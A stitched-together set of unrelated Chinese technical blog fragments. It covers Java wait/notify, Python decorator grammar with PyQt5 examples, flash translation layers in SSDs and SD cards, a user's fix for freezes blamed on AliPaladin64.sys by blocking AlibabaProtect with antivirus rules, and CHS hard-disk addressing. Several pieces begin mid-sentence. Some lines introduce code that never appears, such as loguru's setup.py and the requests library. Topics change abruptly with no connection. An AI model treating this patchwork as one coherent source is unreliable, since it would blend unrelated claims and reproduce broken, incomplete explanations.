方法,唤醒了消费者,使消费者线程从阻塞状态重新回到就绪状态。
这里要注意的是,obj.notify()
并不是让生产者马上释放锁,也不是让消费者马上得到锁,而是通知消费者线程可以重新去参与锁的竞争了。
decorator: '@' dotted_name [ '(' [arglist] ')' ] NEWLINE
decorator: '@' namedexpr_test NEWLINE
我对此有一种直觉。我不确定它来自哪里,但我就是有……因此,尽管将来将语法更改为 @test 相当容易,但我仍想坚持使用更受限的形式,除非给出了真正的使用 @test 会增加可读性的用例。
PyQt5
库的示例代码,如果放宽现有的限制,它将变得更具可读性、地道性和可维护性。buttons = [QPushButton(f'Button {i}') for i in range(10)]
# Do stuff with the list of buttons...
@buttons[0].clicked.connect
def spam():
...
@buttons[1].clicked.connect
def eggs():
...
# Do stuff with the list of buttons...
button_0 = buttons[0]
@button_0.clicked.connect
def spam():
...
button_1 = buttons[1]
@button_1.clicked.connect
def eggs():
...
# Identity function hack:
def _(x):
return x
@_(buttons[0].clicked.connect)
def spam():
...
# eval hack:
@eval("buttons[1].clicked.connect")
def eggs():
...
我觉得强制约束它没有什么道理,因为它已不再是一个普通的表达式。
但是我不会允许逗号,决不可能赞成这样:
@f, g def pooh(): ...
加入此规则是为了简化用户在赋值语句和赋值表达式之间的选择——没有令两者都生效的语法位置。
上篇 「柱面-磁頭-扇區尋址的一些舊事」 整理了一下我對磁盤類存儲設備(包括軟盤、硬盤,不包括光盤、磁帶)的一些理解, 算是爲以後討論文件系統作鋪墊;這篇整理一下我對閃存類存儲設備的理解。
這裏想要討論的閃存類存儲是指 SSD 、SD卡、U盤、手機內置閃存等基於 NAND 又有閃存轉換層的存儲設備(下文簡稱閃存盤),但不包括裸 NAND 設備、3D Xpoint (Intel Optane)等相近物理結構但是沒有類似的閃存轉換層的存儲設備。 閃存類存儲設備這幾年發展迅猛,SD卡和U盤早就替代軟盤成爲數據交換的主流, SSD 大有替代硬盤的趨勢。 因爲發展迅速,所以其底層技術變革很快,不同於磁盤類存儲技術有很多公開資料可以獲取, 閃存類存儲的技術細節通常是廠商們的祕密,互聯網上能找到很多外圍資料, 但是關於其如何運作的細節卻很少提到。所以我想先整理一篇筆記,記下我蒐集到的資料,加上我自己的理解。 本文大部分信息來源是 Optimizing Linux with cheap flash drives 和 A Summary on SSD & FTL ,加上我的理解,文中一些配圖也來自這兩篇文章。
比 NAND Flash 更早的 EEPROM 等存儲技術 曾經用過 NOR Flash cell ,用於存儲主板配置信息等少量數據已經存在 PC 中很久了。後來 NAND Flash 的微型化使得 NAND Flash 可以用於存儲大量數據,急劇降低了存儲成本,所以以 NAND Flash 爲基礎的存儲技術能得以替代硬盤等存儲設備。
這裏不想涉及太多 NAND Flash 硬件細節,有個演講 Tutorial: Why NAND Flash Breaks Down 和 YouTube 視頻 介紹了其原理,感興趣的可以參考一下。只羅列一下視頻中提到的一些 NAND Flash 的特點:
上篇講硬盤的筆記中提到過,硬盤物理存儲也有越來越強的校驗機制,不過相比之下 NAND Flash 出現臨時性校驗失敗的可能性要高很多,需要控制器對校驗出錯誤的情況有更強的容忍能力。 廠商們製作存儲設備的時候,有一個需要達到的錯誤率目標(比如平均 \(10^{14}\) bit 出現一次位反轉),針對這個目標和實際物理錯誤率,相應地設計糾錯強度。校驗太強會浪費存儲密度和算力, 從而提升成本,這裏會根據市場細分找折衷點。
從外部來看,一個閃存盤可能有這樣的結構:
ssd-enclosure.svg從上往下,我們買到的一個閃存盤可能一層層分級:
以上這些名字可能不同廠商不同文檔的稱法都各有不同,比如可能有的文檔把擦除塊叫 page 或者叫 eraseblock 。隨着容量不斷增大,廠商們又新造出很多抽象層次,比如 chip device die 這些, 不過這些可能和本文關係不大。如果看別的文檔注意區別術語所指概念,本文中我想統一成以上術語。 重要的是有並行訪問單元的平面(Plane)、擦除單元的段(Segment)、讀寫單元的頁(Page)這些概念。 抽象地列舉概念可能沒有實感,順便說一下這些概念的數量級:
和硬盤相比,一個閃存頁面大概對應一個到數個物理扇區大小,現代硬盤也逐漸普及 4KiB 物理扇區, 文件系統也基本普及 4KiB 或者更大的邏輯塊(block)或者簇(cluster)大小,可以對應到一個閃存頁面。 每次讀寫都可以通過地址映射直接對應到某個閃存頁面,這方面沒有硬盤那樣的尋址開銷。 閃存盤的一個頁面通常配有比硬盤扇區更強的 ECC 校驗碼,因爲 NAND 單元格喪失數據的可能性比磁介質高了很多。
閃存有寫入方式的限制,每次寫入只能寫在「空」的頁面上,不能覆蓋寫入已有數據的頁面。 要重複利用已經寫過的頁面,需要對頁面所在段整個做擦除操作,每個段是大概 128KiB 到 8MiB 這樣的數量級。每個擦除段需要統計校驗失敗率或者跟蹤擦除次數,以進行擦寫均衡(Wear Leveling)。
擦除段的容量大小是個折衷,更小的擦除段比如 128KiB 更適合隨機讀寫, 因爲每隨機修改一部分數據時需要垃圾回收的粒度更小;而使用更大的擦除段可以減少元數據和地址映射的開銷。 從擦除段的大小這裏,已經開始有高端閃存和低端閃存的差異,比如商用 SSD 可能比 U 盤和 SD 卡使用更小的擦除段大小。
閃存盤中維護一個邏輯段地址到物理段地址的映射層,叫閃存映射層(Flash Translation Layer )。每次寫一個段的時候都新分配一個空段, 寫完後在映射表中記錄其物理地址。映射表用來在讀取時做地址轉換,所以映射表需要保存在閃存盤控制器的 RAM 中,同時也需要記錄在閃存內。具體記錄方式要看閃存盤控制器的實現,可能是類似日誌的方式記錄的。
「段地址映射表」的大小可以由段大小和存儲設備容量推算出來。比如對一個 64GiB 的 SD 卡,如果使用 4MiB 的段大小,那麼需要至少 16K 個表項。假設映射表中只記錄 2B 的物理段地址, 那麼需要 32KiB 的 RAM 存儲段地址映射表。對一個 512GiB 的 SSD ,如果使用 128KiB 的段大小, 那麼至少需要 4M 個表項。記錄 4B 的物理段地址的話,需要 16MiB 的 RAM 存儲地址映射, 或者需要動態加載的方案只緩存一部分到 RAM 裏。控制器中的 RAM 比 NAND 要昂貴很多,這裏可以看出成本差異。
除了地址映射表,每個物理段還要根據擦除次數或者校驗錯誤率之類的統計數據,做擦寫均衡。有兩種擦寫均衡:
低端閃存比如 SD 卡和 U 盤可能只有動態擦寫均衡,更高端的 SSD 可能會做靜態擦寫均衡。 靜態擦寫均衡想要解決的問題是:盤中寫入的數據可以根據寫入頻率分爲冷熱, 總有一些冷數據寫入盤上就不怎麼變化了,它們佔用着的物理段有比較低的擦除計數。 只做動態擦寫均衡的話,只有熱數據的物理段被頻繁擦寫,加速磨損, 通過靜態擦寫均衡能將冷數據所在物理段釋放出來,讓整體擦寫更平均。 但是靜態擦寫均衡搬運數據本身也會磨損有限的擦寫次數,這需要優秀的算法來折衷。
除了擦寫均衡用的統計數據外, FTL 也要做壞塊管理。閃存盤出廠時就有一定故障率,可能有一部分壞塊。 隨着消耗擦寫週期、閒置時間、環境溫度等因素影響,也會遇到一些無法再保證寫入正確率的壞塊。 NAND Flash 上因爲量子隧道效應,偶爾會有臨時的校驗不一致,遇到這種情況,除了根據 ECC 校驗恢復數據, FTL 也負責嘗試對同一個物理段多次擦除和讀寫,考察它的可用性。排除了臨時故障後, 如果校驗不一致的情況仍然持續,那麼需要標註它爲壞塊,避免今後再寫入它。
出廠時,閃存盤配有的物理段數量就高於標稱的容量,除了出廠時的壞塊之外,剩餘的可用物理段可以用於 擦寫均衡,這種行爲稱作 Over Provisioning 。除了盤內預留的這些空間,用戶也可以主動通過分區的方式或者文件系統 TRIM 的方式預留出更多可用空間, 允許 FTL 更靈活地均衡擦寫。
段是閃存盤的擦寫單元,考慮到段是 128KiB ~ 8MiB 這樣的數量級,現實中要求每次連續寫入一整段的話, 這樣的塊設備接口不像硬盤的接口,不方便普通文件系統使用。所以在段的抽象之下有了更小粒度的頁面抽象, 頁面對應到文件系統用的邏輯塊大小,是 2KiB~8KiB 這樣的數量級,每次以頁面爲單位讀寫。
寫入頁面時有段內連續寫入的限制,於是需要段內映射和垃圾回收算法,提供對外的隨機寫入接口。 寫入操作時, FTL 控制器內部先「打開(open)」一個段,等寫入完成,再執行垃圾回收「關閉(close)」一個段。 寫入過程中處於打開狀態的段需要一些額外資源(RAM等)跟蹤段內的寫入狀況,所以閃存盤同時能「打開」 的段數量有限。並且根據不同的垃圾回收算法,需要的額外資源也不盡相同,在 Optimizing Linux with cheap flash drives 一文中介紹幾種可能的垃圾回收算法:
假設寫入請求大部分都是連續寫入,很少有地址跳轉,那麼可以使用線性優化算法。
如果在段內寫入了幾頁之後,又跳轉到之前的位置,那需要在跳轉時關閉當前段寫入(並完整搬運剩下的頁面), 然後重新打開這一段,搬運調轉地址之前的頁面,從跳轉的頁面位置開始寫入。
線性優化算法的好處在於:沒有複雜的頁面地址映射,段內的邏輯頁面地址就是物理頁面地址。 讀一頁的時候根據頁面偏移和當前寫入位置就能判斷讀新物理段還是老物理段。遇到突然斷電之類的情況, 即使丟失最近寫入的新物理段,老物理段的數據仍然還在,所以沒必要保存 RAM 中的地址映射到閃存元數據中。
線性優化算法的壞處是:每遇到一次亂序的寫入,都要整段執行一次搬運,造成 寫入放大(Write Amplification) 。
一些文檔中,將這種地址映射垃圾回收方式叫做「段映射(Segment Mapping)」,因爲從 FTL 全局來看只維護了擦寫段的地址映射關係。
對需要隨機亂序寫入的數據,可以使用段內地址映射。方式是額外在段外的別的閃存區域維護一張段內地址映射表, 像段地址一樣,通過查表間接訪問頁面地址。
也就是說同時維護兩塊不同大小的閃存空間,一塊是記錄段數據的,一塊是記錄段內地址映射表的, 兩塊閃存空間有不同的寫入粒度。可以在每個物理段內額外留出一些空間記錄段內地址映射表,也可以在 FTL 全局維護一定數量的段內地址映射表。 每次讀取段內的數據時,根據映射表的內容,做地址翻譯。新段中頁面的排列順序將是寫入的順序, 而不是地址順序。
根據實現細節,段內地址映射可以允許覆蓋寫入老段中的頁面,但是可能不允許覆蓋寫入新段(正在寫入的段) 中已經寫入的頁面,遇到一次連續的寫請求中有重複寫入某一頁面的時候,就需要關閉這一段的寫入,然後重新打開。
段內地址映射的優點是:支持隨機寫入,並且只要段處於打開狀態,隨機寫入不會造成寫入放大(Write Amplification)。
缺點是:首先地址映射這層抽象有性能損失。其次遇到突然斷電之類的情況, 下次上電後需要掃描所有正打開的段並完成段的關閉操作。
和「段映射」術語一樣,在一些文檔中,將這種段內地址映射的方式叫做「頁面映射(Page Mapping)」,因爲從 FTL 全局來看跳過了擦寫段這一層,直接映射了頁面的地址映射。
除了大量隨機寫入和大量連續寫入這兩種極端情況,大部分文件系統的寫入方式可能會是對某個地址空間 進行一段時間的隨機寫入,然後就長時間不再修改,這時適合日誌式的寫入方式。
日誌式的寫入方式中寫入一段採用三個物理段:老物理段,用於日誌記錄的新物理段,和垃圾回收後的段。
日誌式寫入在寫入過程中像段內地址映射的方式一樣,通過日誌記錄維護頁面地址映射關係, 在寫入結束執行垃圾回收之後,則像線性寫入的方式一樣不再需要維護頁面映射。 可以說日誌式寫入某種程度上綜合了前面兩種寫入方式的優點。
日誌式寫入的優點:允許隨機順序寫入,並且在執行垃圾回收之後,不再有間接訪問的地址轉換開銷。
日誌式寫入的缺點:觸發垃圾回收的話,可能比段地址映射有更大的寫入放大(Write Amplification)。
在一些文檔中,將這種日誌式寫入方式稱作「混合映射(Hybrid Mapping)」,因爲在段開啓寫入期間行爲像頁面映射, 在段關閉寫入後行爲像段映射。
上述三種地址映射和垃圾回收方式,各有不同的優缺點,根據數據塊的寫入模式可能需要挑選相應的策略。 並且「全局段地址映射表」、「段內頁面地址映射表」、「寫入頁面地址日誌」之類的元數據因爲頻繁修改, FTL 也可能需要用不同的策略來記錄這些元數據。這裏面向不同使用場景的閃存設備可能有不同的 FTL 策略,並且 FTL 可能根據邏輯地址來選擇哪種策略。
用來記錄照片、視頻等的 SD 卡、microSD、U盤等設備可能根據數據的邏輯地址,爲特定文件系統佈局優化, 這裏特定文件系統主要是指 FAT32 和 exFAT 這兩個 FAT 系文件系統。 FAT 系文件系統的特點在於, 地址前端有一塊空間被用來放置 文件分配表(File Allocation Table) ,可以根據文件系統簇大小和設備存儲容量推算出 FAT 表佔用大小,這塊表內空間需要頻繁隨機讀寫。 對 FTL 自身的元數據,和 FAT 表的邏輯地址空間,需要使用「段內地址映射」來保證高效的隨機讀寫, 而對隨後的數據空間可使用「線性寫入優化」的策略。
右側上圖有張性能曲線,測量了一個 class 10 SDHC 卡上,不同讀寫塊大小時,順序讀取、順序寫入、隨機寫入、 對 FAT 區域的寫入之類的性能差異。下圖是測量的讀取延遲。可以看出 FAT 區域的隨機寫入和其餘邏輯地址上有明顯不同的性能表現。
爲容納普通操作系統設計的 eMMC 和 SSD 難以預測文件系統的讀寫模式,可能需要使用更複雜的地址映射和垃圾回收策略。 比如一開始假定寫入會是順序寫入,採用「線性優化」方式;當發生亂序寫入時,轉變成類似「日誌式寫入」 的方式記錄寫入地址並做地址映射;關閉段時,再根據積累的統計數據判斷,可能將記錄的日誌與亂序的數據 合併(merge)成順序的數據塊,也可能保持頁面映射轉變成類似「段內地址映射」的策略。
再考慮 NAND Flash 的物理特性,因爲 MLC 要不斷調整參考電壓做寫入, MLC 的寫入比 SLC 慢一些,但是可以對 MLC Flash 使用 SLC 式的寫入, FTL 控制器也可能利用這一點,讓所有新的寫入處於 SLC 模式,直到關閉整段做垃圾回收時把積攢的 SLC 日誌段回收成 MLC 段用於長期保存。 一些網頁將這種寫入現象稱作「SLC 緩存」甚至稱之爲作弊,需要理解這裏並不是用單獨的 SLC Flash 芯片做 writeback 緩存,更不是用大 RAM 做緩存,處於 SLC 模式的寫入段也是持久存儲的。
上述地址映射和垃圾回收策略都有分別的打開(open)、寫入(write)、關閉(close)時的操作, 閃存盤通常允許同時打開多個段,所以這三種操作不是順序進行的,某一時刻可能同時有多個段處在打開的狀態, 能接受寫入。不過一個平面(Plane)通常只能進行一種操作(讀、寫、擦除),所以打開寫入段時, FTL 會儘量讓寫入分部在不同的平面上。還可能有更高層次的抽象比如 Device、 Chip 、 Die 等等,可能對應閃存盤內部的 RAID 層級。
閃存盤能同時打開的段不光受平面之類的存儲結構限制,還受控制器可用內存(RAM)限制之類的。 爲 FAT 和順序寫入優化的 FTL ,可能除了 FAT 區域之外,只允許少量(2~8)個併發寫入段, 超過了段數之後就會對已經打開的段觸發關閉操作(close),執行垃圾回收調整地址映射,進而接受新的寫入。 更高端的 SSD 的 FTL 如果採用日誌式記錄地址的話,同時打開的段數可能不再侷限於可用內存限制, 連續的隨機寫入下按需動態加載段內地址映射到內存中,在空閒時或者剩餘空間壓力下才觸發垃圾回收。
FTL 可能爲某種文件系統的寫入模式做優化,同時如果文件系統能得知 FTL 的一些具體參數(比如擦除段大小、 讀寫頁大小、隨機寫入優化區域),那麼可能更好地安排數據結構,和 FTL 相互配合。 F2FS 和 exFAT 這些文件系統都在最開頭的文件系統描述中包含了一些區域,記錄這些閃存介質的物理參數。 閃存盤出廠時,可能預先根據優化的文件系統做好格式化,並寫入這些特定參數。
另一種文件系統和 FTL 相互配合的機制是 TRIM 指令。TRIM 由文件系統發出,告訴底層閃存盤( 或者別的類型的 thin provisioning 塊設備)哪些空間已經不再使用, FTL 接受 TRIM 指令之後可以避免一些數據搬運時的寫入放大。關於 TRIM 指令在 Linux 內核中的實現,有篇 The best way to throw blocks away 介紹可以參考。
考慮到 FTL 的上述地址映射原理, TRIM 一塊連續空間對 FTL 而言並不總是有幫助的。 如果被 TRIM 的地址位於正在以「段內地址映射」或「日誌式映射」方式打開的寫入段中,那麼 TRIM 掉一些頁面可能減少垃圾回收時搬運的頁面數量。但是如果 TRIM 的地址發生在已經垃圾回收結束的段中, 此時如果 FTL 選擇立刻對被 TRIM 的段執行垃圾回收,可能造成更多寫入放大, 如果選擇不回收只記錄地址信息,記錄這些地址信息也需要耗費一定的 Flash 寫入。 所以 FTL 的具體實現中,可能只接受 TRIM 請求中,整段擦除段的 TRIM ,而忽略細小的寫入頁的 TRIM 。
可見 FTL 對 TRIM 的實現是個黑盒操作,並且 TRIM 操作的耗時也非常難以預測,可能立刻返回, 也可能需要等待垃圾回收執行結束。
對操作系統和文件系統實現而言,有兩種方式利用 TRIM :
直覺來看可能 discard 能讓底層設備更早得知 TRIM 區域的信息並更好利用,但是從實現角度來說, discard 不光影響文件系統寫入性能,還可能發送大量被設備忽略掉的小塊 TRIM 區域。可能 fstrim 方式對連續大塊的區間執行 TRIM 指令更有效。
標題中的疑問「SSD就是大U盤?」相信看到這裏已經有一些解答了。 即使 SSD 和U盤中可以採用類似的 NAND Flash 存儲芯片,由於他們很可能採用不同的 FTL 策略,導致在讀寫性能和可靠性方面都有不同的表現。(何況他們可能採用不同品質的 Flash )。
如果不想細看全文,這裏整理一張表,列出「高端」閃存盤和「低端」閃存盤可能採取的不同策略。 實際上大家買到的盤可能處於這些極端策略中的一些中間點,市場細分下並不是這麼高低端分明。 比如有些標明着「爲視頻優化」之類宣傳標語的「外置SSD」,對消費者來說可能會覺得爲視頻優化的話一定性能好, 但是理解了 FTL 的差異後就可以看出這種「優化」只針對線性寫入,不一定適合放系統文件根目錄的文件系統。
參數 | 低端 | 高端 |
---|---|---|
段大小 | 8MiB | 128KiB |
段地址映射 | 靜態段映射 | 日誌式映射 |
隨機寫入範圍 | FTL元數據與FAT表區域 | 全盤 |
同時打開段數 | 4~8 | 全盤 |
物理段統計信息 | 無(隨機挑選空閒段) | 擦除次數、校驗錯誤率等 |
擦寫均衡 | 動態均衡(僅寫入時分配新段考慮) | 靜態均衡(空閒時考慮搬運) |
寫入單元模式 | TLC | 長期存儲 MLC, 模擬 SLC 日誌 |
介紹完閃存類存儲,下篇來講講文件系統的具體磁盤佈局,考察一下常見文件系統如何使用 HDD/SSD 這些不同讀寫特性的設備。
loguru
这个用来记录日志的库的 setup.py 中看到:requests
库文件,发现还可以这样写:这个问题困扰我很久了,最开始发现的时候是在微信接收同事发过来的Excel文件,打开的一瞬间,鼠标就不动了,发现竟然死机了,还不是假死,连numberlock都按不灭了,只能强制关机重启。一直知道这问题,只是接文件的频率不高,所以也就没在意。如今疫情期间,在线传文件的频率明显提高,这三天两头的死机谁吃的消,所以下定决心找一下原因看看能否解决。
因为接收图片文件什么的倒是没啥,都是office文件死机,所以第一个直觉必然是文件中毒,毕竟早些年被office中毒坑怕了。所以第一要务就是全盘杀毒,保证系统没有中毒的情况。然后接收到的文件也右键查杀,但是当打开这些文件的时候,依然嘎嘣脆,秒死。
一直没查到原因,只好万能百度,原来网上一大堆人遇到类似问题,但似乎都没有合理的原因分析和解决方案。有很多人说卸载了阿里旺旺问题就解决了,也有人跟帖说卸载旺旺没用,该死机照死机不误。所以就刻意留意了一下我公司的办公电脑到是接收文件死机概率印象中确实没自己的电脑这么高,显然办公电脑上没有旺旺。所以罪魁祸首如果是旺旺有一定的置信度。
在百度知道中看到这样一段文字:“是阿里巴巴\AliPaladin64.sys文档导致,此文件pre_read回调,判断user mode使用了错误的函数,与管家无关,建议反馈给对应软件方,谢谢。您可以修改该文件名验证(修改不影响功能),路径为C:\Windows\system32\drivers\AliPaladin64.sys”这段描述来源很像是从某个软件BUG反馈里面的专业回答。不知道百度知道这个到底是搬运的还是高人回复。
简单有效的验证下死机会不会是这个问题,很简单,把这文件改个名字,再用微信试了下接收文件。打开文档神奇竟然没有死机,所以问题或许就出在这里。然后去打开了下旺旺,发现这文件改了名字以后没啥影响,旺旺正常使用,所以也就没有改回去了。
原以为昨天已经解决了这个问题,哪知道今天又死机了,所以马上去看了下这个文件,发现又出现了一个新的AliPaladin64.sys文件,和改名后的那个并列了。所以我敢肯定,死机确实和它有关。只是昨天的处理方式太小儿科了。以为打个针吃个药,病就好了,是我太天真。
其实知道这文件能自行生成,那就知道如何对付它了,我写一个我自己的AliPaladin64.sys文件,并拒绝任何程序对它进行修改不就好了。
1、删了AliPaladin64.sys这个文件。当然直接删除肯定是干不掉了,我电脑上原本用的是电脑管家 ,用管家粉碎,虽然提示粉碎成功,但是文件依然还在,所以卸了管家,上火绒,火绒的口碑这两年确实好的不得了,下载安装后,粉碎AliPaladin64.sys。
2、新建一个txt文件,重命名为AliPaladin64.sys,将这个文件拖到C:\Windows\system32\drivers\目录中,好久不去倒腾组策略,干脆用火绒做策略保护算了。火绒的防护中心有一个高级防护,开启自定义防护。
3、自定义防护规则。添加规则,规则名称不填就叫自定义吧,发起程序默认星号(也就是所有程序),添加保护对象,就是刚才我们自己新建的AliPaladin64.sys文件。保护动作勾选创建、读取、修改、删除,触犯规则的动作选择直接阻止。
4、监控触发规则的幽灵。没多久,火绒安全日志就有新内容了,没想到第一个触发规则的竟然是explorer,触发类型是读取,艹,莫不是我还是中毒了,再用火绒来一遍杀毒,万幸,没有中毒。想了想,因为drivers是一个驱动文件夹,所以当有新文件生产,explorer去读取似乎是合理的。又多了一段时间,终于又产生了新的告警日志。这次触发的类型终于是写入了,触发规则的是一个叫AlibabaProtect.exe的程序。很显然这个程序发现文件已经存在,但是因为是一个空文件,所以尝试接入它自己的内容被拦截了。
5、格杀罪魁祸首。根据日志提示目录找到C:\Program Files (x86)\AlibabaProtect\这个目录下,是有多个版本号的子目录,直接一并用火绒粉碎。等等,为什么不把上一级AlibabaProtect这个目录一起干掉?别急,得利用它创建自定义规则。
6、更新自定义防护规则。上面第四步中我们创建了一个没有命名的自定义规则,这次我们更新一下规则内容,顺道给这个自定义规则命个名吧,就叫它AlibabaProtect。添加一个规则,保护对象就是刚刚这个目录:C:\Program Files (x86)\AlibabaProtect\。保护动作勾选创建、读取、修改、删除,触犯规则的动作选择直接阻止。最后保存退出。
7、株连九族。因为昨天改了文件,今天我没开旺旺,这玩意儿到底是哪儿来的,并且这个AlibabaProtect应该也不单单是旺旺一个人在用,可能是阿里的一个通用基础程序。不管它,看下启动项和计划任务,和阿里有关的全部禁止。我这里还真是看到计划任务里面有个AliUpdater的任务。直接禁止掉。
8、检验下旺旺,淘宝能否正常使用。旺旺打开,沟通都没问题,淘宝也能正常下单购买支付。所以做了上述措施后,不影响使用。
到此这个问题终于被根除了,后面就去百度了一下AlibabaProtect.exe,网上也有一些删除教程,包括操作注册表等。原理都差不多,需要的朋友不妨也可以试试。水完,碎觉,继续为抗疫做贡献。
在 SSD 這種新興存儲設備普及之前,很長一段時間硬盤是個人計算機的主要存儲設備。 更往前的磁帶機不常見於個人計算機,軟盤的地位很快被硬盤取代,到 SSD 出現爲止像 MiniDisc 、 DVD-RAM 等存儲設備也從未能挑戰過硬盤的地位。硬盤作爲主要存儲設備,自然也影響了文件系統的設計。
這篇筆記稍微聊一聊硬盤這種存儲設備的尋址方式對早期文件系統設計的一些影響,特別是 柱面-磁頭-扇區尋址(Cylinder-head-sector addressing, 簡稱CHS尋址)的起源和發展。 大部分內容來自維基百科 Cylinder-head-sector 詞條 這裏只是記錄筆記。現今的硬盤已經不再採用 CHS 尋址,其影響卻還能在一些文件系統設計中看到影子。
如右圖所示,一塊硬盤(Hard Disk Drive, HDD)是一個圓柱體轉軸上套着一些磁碟片(platter), 然後有一條磁頭臂(actuator arm)插入磁碟片間的位置,加上一組控制芯片(controller)。 每個磁碟片有上下兩面塗有磁性材質,磁頭臂上有一組磁頭(head),每個磁頭對應磁盤的一個面, 所以比如一個 3 碟的硬盤會有 6 個磁頭。
每個磁碟片上定義了很多同心圓的磁頭軌道,叫做磁道(track),磁道位於盤面上不同半徑的位置, 通過旋轉磁碟臂能讓磁頭移動到特定的半徑上,從而讓讀寫磁頭在不同的磁道間跳轉。 不同磁頭上同磁道的同心圓共同組成一個柱面(cylinder),或者說移動磁碟臂能選定磁盤中的一個柱面。 磁道上按等角度切分成多個小段,叫做扇區(sector),每個扇區是讀寫數據時採用的最小單元。 早期在 IBM 大型機之類上使用的硬盤的扇區大小比較小,到 IBM PC 開始個人計算機用的硬盤扇區基本被統一到 512 字節。現代硬盤內部可能採用 Advanced Format 使用 4K 字節扇區。
在早期軟盤和硬盤的尋址方式被稱作「柱面-磁頭-扇區尋址」,簡稱 CHS 尋址, 是因爲這三個參數是軟件交給硬件定位到某個具體扇區單元時使用的參數。 首先柱面參數讓磁頭臂移動到某個半徑上,尋址到某個柱面,然後激活某個磁頭,然後隨着盤面旋轉, 磁頭定位到某個扇區上。
「柱面-磁頭-扇區」這個尋址方式,聽起來可能不太符合直覺,尤其是柱面的概念。直覺上, 可能更合理的尋址方式是「盤片-盤面-磁道-扇區」,而柱面在這裏是同磁道不同盤片盤面構成的一個集合。 不過理解了磁盤的機械結構的話,柱面的概念就比較合理了,尋址時先驅動磁頭臂旋轉, 磁頭臂上多個磁頭一起飛到某個磁道上,從而運動磁頭臂的動作定義了一個柱面。 柱面和磁頭(CH)組合起來能定位到某個特定的磁道,畫張圖大概如下圖所示:
tikz diagram上圖中值得注意的是磁道的編號方式,我用相同的顏色畫出了相同的磁道。因爲按照 CHS 的順序尋址,所以先定位柱面,然後選定磁頭。磁盤上按半徑從外向內定義柱面的編號,最外圈的磁道位於 0號柱面,由0號磁頭開始。隨着柱面編號增加,逐步從外圈定位到內圈。
以上術語中,柱面號和磁頭號直接對應了硬盤上的物理組成部分,所以在物理 CHS 尋址方式下,通過扇區地址的寫法能對應到扇區的具體物理位置。之所以這樣描述扇區, 是因爲早期的軟盤和硬盤驅動器沒有內置的控制芯片,可以完全由宿主系統執行驅動程序驅動。
在 IBM PC 上,驅動軟盤和硬盤的是 CPU 執行位於主板 BIOS (Basic Input/Output System) 中的程序,具體來說操作系統(比如DOS)和應用程序調用 INT 13H 中斷,通過 AH=02H/03H 選擇讀/寫操作,BIOS 在中斷表中註冊的 13H 中斷處理程序執行在 CPU 上完成讀寫請求。調用 INT 13H 讀寫扇區的時候,CPU 先通過 INT 13H AH=0CH 控制硬盤的磁頭臂旋轉到特定柱面上,然後選定具體磁頭,讓磁頭保持在磁道上讀數據, 通過忙輪訓的方式等待要讀寫的扇區旋轉到磁頭下方,從而讀到所需扇區的數據。在 DOS 之後的操作系統, 比如早期的 Windows 和 Linux 和 BSD 能以覆蓋中斷程序入口表的方式提供升級版本的這些操作替代 BIOS 的程序。
以上過程中可以看出兩點觀察:
實際上扇區號的物理排列的確不是連續的,每個物理扇區中除了用512字節記錄扇區本身的數據, 還有扇區的開始記錄和結束記錄,寫有扇區編號和扇區校驗碼。每讀到一個扇區, CPU 可能需要做一些額外操作(比如計算比對校驗、寫入內存緩衝區、調整內存段頁映射) 後纔能繼續讀下一個扇區,如果物理排列上連續編號扇區,可能等 CPU 做完這些事情後磁頭已經旋轉到之後幾個扇區上了。所以出廠時做磁盤低級格式化的時候, 會跳躍着給扇區編號,給 CPU 留足處理時間。比如下圖:
tikz diagram上圖中假設有3個柱面,每個柱面6個磁頭,每個磁道內11個扇區,並且畫出了三種不同的扇區編號跳轉情況, 分別是磁道內的扇區跳轉(+3),柱面內的磁頭跳轉(+5),以及柱面間跳轉(+10)。 實際磁盤上的柱面數、扇區數要多很多,尋址時需要跳轉的距離也可能更長,這裏只是舉例說明。 圖中和實際情況相同的是,柱面號和磁頭號從 0 開始編號,而扇區號從 1 開始編號, 所以做邏輯地址換算的時候要考慮編號差異。
早期 IBM PC 的 BIOS 使用 24bit 的 CHS 地址,其中 10bit 柱面(C)、 8bit 磁頭(H)、 6bit 扇區(S)。從而用物理 CHS 尋址方式的軟盤和硬盤驅動器最多可以尋址 1024 個柱面,256 個磁頭, 63 個扇區,其中扇區數因爲從 1 開始編號所以少了 1 個可尋址範圍。比如 3.5 吋高密度(HD)軟盤有雙面, 出廠時每面 80 磁道,每磁道 18 扇區,從而能算出 1,474,560 字節的容量。
如此跳躍編號扇區之後,不是總能給磁道中所有扇區編號,可能在磁道的末尾位置留幾個沒有使用的扇區空間, 這些是磁道內的保留扇區,可以在發現壞扇區後使用這些隱藏扇區作爲替代扇區。當然讀寫替代扇區的時候 因爲扇區尋址不連續可能會有一定性能損失。
因爲物理 CHS 尋址下,磁盤由 CPU 執行驅動程序來驅動,所以以上扇區跳躍的長短實際是由 CPU 的速度等因素決定的,理論上 CPU 越快,跳躍間隔可以越短,從而磁盤讀寫速度也能加快。磁盤出廠時, 廠商並不知道使用磁盤的計算機會是怎樣的性能,所以只能保守地根據最慢的 CPU 比如 IBM 初代 PC 搭配的 8086 的速度來決定跳躍間隔。所以在當年早期玩家們流傳着這樣一個操作:買到新硬盤, 或者升級了電腦配置之後,對硬盤做一次 低級格式化(Low level formating) ,聰明的低級格式化程序能智能安排扇區編號,提升硬盤讀寫速度,也能跳過已知壞道位置繼續編號, 甚至可能將更多保留扇區暴露成可用扇區。這對現代有硬盤控制器的硬盤而言已經沒有意義了。
隨着硬盤容量不斷增加, BIOS 中用來 CHS 尋址的地址空間逐漸不夠用了。早期 24bit 地址按 C H S 的順序分爲 10 8 6 的位數,用 8bit 來尋址磁頭最多可以有 256 個磁頭,而只有 10bit 來尋址柱面,就只能有 1024 個柱面。最初 IBM 這麼劃分是因爲早期用於 IBM 大型機之類的硬盤可以有 厚厚一疊的盤片組,同樣的尋址方式就直接用於了 IBM PC 。而 PC 用的硬盤迫於硬盤倉空間大小, 有厚度限制,硬盤中物理盤面可能只有四五個盤片,硬盤容量增加主要是增加盤片表面的數據密度而非增加盤片數量。
於是逐漸地,硬盤廠商開始對 CHS 尋址的地址空間做一些手腳。比如最初的簡單想法是重新定義 CH ,將一些磁頭數挪用做柱面數。從而有了邏輯 CHS 尋址,其中 CH 是固定一組,通過簡單換算從 CH 值找到物理的柱面和磁頭數。結合 CH 而不映射 S 的優勢在於,從操作系統和文件系統來看依然能根據邏輯 CHS 地址估算出地址跳轉所需大概的時間,只是原本一次切換磁頭的動作可能變成一次短距離的切換柱面。
